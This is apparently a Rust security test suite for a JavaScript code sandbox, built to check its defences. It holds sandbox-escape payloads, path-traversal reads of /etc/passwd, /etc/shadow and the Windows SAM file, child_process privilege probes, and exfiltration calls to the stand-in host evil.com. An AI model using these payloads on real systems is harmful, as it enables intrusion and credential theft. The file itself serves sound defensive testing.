use do_memory_mcp::{
CodeSandbox, ExecutionContext, ExecutionResult, NetworkRestrictions, ResourceLimits,
SandboxConfig, SecurityViolationType,
};
use serde_json::json;
fn create_test_context() -> ExecutionContext {
ExecutionContext::new("pentest".to_string(), json!({}))
}
#[tokio::test]
async fn pentest_sandbox_escape_via_process_binding() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
try {
// Attempt 1: Direct access
const p = process;
console.log('BREACH: Direct process access');
} catch(e) {}
try {
// Attempt 2: Global access
const p = global.process;
console.log('BREACH: Global process access');
} catch(e) {}
try {
// Attempt 3: This binding
const p = this.process;
console.log('BREACH: This process access');
} catch(e) {}
try {
// Attempt 4: Constructor chain
const p = (function(){return this})().process;
console.log('BREACH: Constructor process access');
} catch(e) {}
return 'All escape attempts blocked';
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
match result {
ExecutionResult::Success { stdout, .. } => {
eprintln!("Test stdout: {}", stdout);
}
ExecutionResult::Error { message, .. } => {
eprintln!("Got expected error: {}", message);
}
other => {
eprintln!("Got result: {:?}", other);
panic!("Unexpected result type");
}
}
}
#[tokio::test]
async fn pentest_sandbox_escape_via_require_bypass() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
try {
// Attempt 1: String concatenation
const req = 'req' + 'uire';
eval(req)('fs');
console.log('BREACH: Require via eval');
} catch(e) {}
try {
// Attempt 2: Character code assembly
const codes = [114, 101, 113, 117, 105, 114, 101];
const req = String.fromCharCode(...codes);
global[req]('fs');
console.log('BREACH: Require via charCode');
} catch(e) {}
return 'Require bypass blocked';
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::MaliciousCode,
..
}
));
}
#[tokio::test]
async fn pentest_sandbox_escape_via_prototype_pollution() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
try {
// Pollute Object prototype
const obj = {};
obj.__proto__.polluted = 'yes';
// Check if pollution succeeded
if (({}).polluted === 'yes') {
console.log('BREACH: Prototype pollution successful');
}
// Attempt to access constructor
obj.constructor.constructor('return process')();
console.log('BREACH: Constructor escape successful');
} catch(e) {
return 'Prototype pollution blocked: ' + e.message;
}
return 'safe';
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
match result {
ExecutionResult::Success { stdout, .. } => {
assert!(!stdout.contains("Constructor escape successful"));
}
_ => {
}
}
}
#[tokio::test]
async fn pentest_cpu_exhaustion_attack() {
let config = SandboxConfig {
max_execution_time_ms: 1000, ..Default::default()
};
let sandbox = CodeSandbox::new(config).unwrap();
let exploit = r#"
let result = 0;
const iterations = 1000000000; // 1 billion iterations
for (let i = 0; i < iterations; i++) {
result = result ^ i;
result = Math.sqrt(result * result);
}
return result;
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(
matches!(result, ExecutionResult::Timeout { .. }),
"CPU exhaustion should timeout"
);
}
#[tokio::test]
async fn pentest_memory_exhaustion_attack() {
let config = SandboxConfig {
max_execution_time_ms: 2000,
..Default::default()
};
let sandbox = CodeSandbox::new(config).unwrap();
let exploit = r#"
const arrays = [];
try {
// Allocate huge arrays until OOM
while (true) {
arrays.push(new Array(10000000).fill(0));
}
} catch(e) {
return 'Memory limit enforced: ' + e.message;
}
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
eprintln!("Memory exhaustion result: {:?}", result);
match result {
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::InfiniteLoop,
..
} => {
eprintln!("Memory exhaustion loop blocked by infinite loop detection");
}
ExecutionResult::Timeout { .. } => {
eprintln!("Memory exhaustion timed out");
}
ExecutionResult::Success { .. } => {
eprintln!("Memory exhaustion handled by V8 GC");
}
ExecutionResult::Error { .. } => {
eprintln!("Memory exhaustion caused runtime error");
}
other => {
panic!("Unexpected result: {:?}", other);
}
}
}
#[tokio::test]
async fn pentest_stack_overflow_attack() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
function recurse(n) {
if (n === 0) return 1;
return recurse(n - 1) + recurse(n - 1);
}
try {
// Deep recursion to cause stack overflow
const result = recurse(1000000);
console.log('BREACH: Deep recursion succeeded');
return result;
} catch(e) {
return 'Stack overflow prevented: ' + e.message;
}
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(
matches!(
result,
ExecutionResult::Timeout { .. } | ExecutionResult::Success { .. }
),
"Stack overflow should be limited"
);
}
#[tokio::test]
async fn pentest_eval_injection_variants() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploits = vec![
("eval", "eval('1+1')", true),
("Function constructor", "new Function('return 1+1')()", true),
];
for (name, exploit, should_block) in exploits {
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
if should_block {
assert!(
matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::MaliciousCode,
..
}
),
"{} should be blocked by pattern matching",
name
);
}
}
}
#[tokio::test]
async fn pentest_indirect_code_execution() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
try {
// Attempt 1: GeneratorFunction
const GeneratorFunction = Object.getPrototypeOf(function*(){}).constructor;
const gen = new GeneratorFunction('console.log("BREACH")');
gen().next();
} catch(e) {}
try {
// Attempt 2: AsyncFunction
const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
const fn = new AsyncFunction('console.log("BREACH")');
await fn();
} catch(e) {}
return 'safe';
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
match result {
ExecutionResult::Success { stdout, .. } => {
assert!(
!stdout.contains("BREACH"),
"Indirect code execution should be blocked"
);
}
_ => {
}
}
}
#[tokio::test]
async fn pentest_path_traversal_variants() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploits = vec![
(
"Basic traversal",
"require('fs').readFileSync('../../../etc/passwd')",
),
(
"Encoded traversal",
"require('fs').readFileSync('%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd')",
),
(
"Windows traversal",
"require('fs').readFileSync('..\\..\\..\\windows\\system32\\config\\sam')",
),
(
"Null byte injection",
"require('fs').readFileSync('/etc/passwd\\0')",
),
("Absolute path", "require('fs').readFileSync('/etc/shadow')"),
];
for (name, exploit) in exploits {
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(
matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::FileSystemAccess,
..
}
),
"{} should be blocked",
name
);
}
}
#[tokio::test]
async fn pentest_privilege_escalation_attempts() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
try {
// Check current user
const { exec } = require('child_process');
exec('whoami', (err, stdout) => {
if (stdout.includes('root')) {
console.log('BREACH: Running as root');
}
});
} catch(e) {}
try {
// Attempt sudo
const { exec } = require('child_process');
exec('sudo id', (err, stdout) => {
console.log('BREACH: Sudo available');
});
} catch(e) {}
return 'safe';
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::ProcessExecution,
..
}
));
}
#[tokio::test]
async fn pentest_network_exfiltration_variants() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploits = vec![
(
"HTTP GET",
"require('http').get('http://evil.com/exfil?data=stolen')",
),
(
"HTTPS GET",
"require('https').get('https://evil.com/exfil')",
),
("WebSocket", "new WebSocket('ws://evil.com')"),
("Fetch API", "fetch('https://evil.com/steal')"),
];
for (name, exploit) in exploits {
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(
matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::NetworkAccess,
..
}
),
"{} should be blocked - got: {:?}",
name,
result
);
}
}
#[tokio::test]
async fn pentest_timing_attack_bypass() {
let config = SandboxConfig {
max_execution_time_ms: 500,
..Default::default()
};
let sandbox = CodeSandbox::new(config).unwrap();
let exploit = r#"
const promises = [];
for (let i = 0; i < 1000; i++) {
promises.push(
new Promise(resolve => {
setTimeout(() => {
// Each promise delays individually
let x = 0;
for (let j = 0; j < 1000000; j++) {
x += j;
}
resolve(x);
}, 100);
})
);
}
await Promise.all(promises);
console.log('BREACH: Timeout bypassed');
return 'success';
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(
matches!(result, ExecutionResult::Timeout { .. }),
"Async timeout bypass should fail"
);
}
#[tokio::test]
async fn pentest_multi_stage_attack() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
// Stage 1: Reconnaissance
let systemInfo = {
platform: typeof process !== 'undefined' ? 'BREACH' : 'blocked',
fs: typeof require !== 'undefined' ? 'BREACH' : 'blocked',
};
// Stage 2: Attempt privilege escalation
try {
const { exec } = require('child_process');
systemInfo.exec = 'BREACH';
} catch(e) {
systemInfo.exec = 'blocked';
}
// Stage 3: Attempt file access
try {
const fs = require('fs');
const secrets = fs.readFileSync('/etc/passwd', 'utf8');
systemInfo.files = 'BREACH: ' + secrets.substring(0, 50);
} catch(e) {
systemInfo.files = 'blocked';
}
// Stage 4: Attempt network exfiltration
try {
const https = require('https');
https.get('https://evil.com/exfil?' + JSON.stringify(systemInfo));
systemInfo.network = 'BREACH';
} catch(e) {
systemInfo.network = 'blocked';
}
return systemInfo;
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
assert!(
matches!(
result,
ExecutionResult::SecurityViolation {
violation_type: SecurityViolationType::ProcessExecution
| SecurityViolationType::FileSystemAccess
| SecurityViolationType::NetworkAccess,
..
}
),
"Multi-stage attack should be blocked at first violation"
);
}
#[tokio::test]
async fn pentest_advanced_obfuscation() {
let sandbox = CodeSandbox::new(SandboxConfig::default()).unwrap();
let exploit = r#"
// Obfuscated require('child_process')
const _0x1234 = ['chi', 'ld_', 'pro', 'ces', 's'];
const module = _0x1234.join('');
try {
const cp = require(module);
console.log('BREACH: Obfuscation bypassed');
} catch(e) {
return 'Obfuscation detected';
}
"#;
let result = sandbox
.execute(exploit, create_test_context())
.await
.unwrap();
match result {
ExecutionResult::SecurityViolation { .. } => {
}
ExecutionResult::Success { stdout, .. } => {
assert!(!stdout.contains("BREACH"));
}
ExecutionResult::Error { .. } => {
}
_ => {}
}
}
#[test]
fn test_resource_limits_config() {
let limits = ResourceLimits::restrictive();
assert_eq!(limits.max_cpu_percent, 30.0);
assert_eq!(limits.max_memory_mb, 64);
assert_eq!(limits.max_execution_time_ms, 3000);
assert_eq!(limits.max_file_operations, 0);
assert_eq!(limits.max_network_requests, 0);
}
#[test]
fn test_network_restrictions_deny_all() {
let restrictions = NetworkRestrictions::deny_all();
assert!(restrictions.block_all);
assert!(restrictions.allowed_domains.is_empty());
let result = restrictions.validate_url("https://example.com");
assert!(result.is_err());
}
#[test]
fn test_network_restrictions_https_only() {
let restrictions = NetworkRestrictions::allow_domains(vec!["safe.com".to_string()]);
assert!(restrictions.validate_url("https://safe.com").is_ok());
assert!(restrictions.validate_url("http://safe.com").is_err());
assert!(restrictions.validate_url("https://evil.com").is_err());
}
#[tokio::test]
async fn pentest_security_summary() {
let sandbox = CodeSandbox::new(SandboxConfig::restrictive()).unwrap();
let test_cases = vec![
("File system access", "require('fs')"),
("Network access", "require('https')"),
("Process execution", "require('child_process')"),
("Code injection", "eval('malicious')"),
("Infinite loop", "while(true) {}"),
];
let mut blocked = 0;
let total = test_cases.len();
for (name, code) in test_cases {
let result = sandbox.execute(code, create_test_context()).await.unwrap();
if matches!(result, ExecutionResult::SecurityViolation { .. }) {
blocked += 1;
} else {
eprintln!("WARNING: {} was not blocked!", name);
}
}
assert_eq!(
blocked, total,
"All {} critical security controls must be enforced",
total
);
}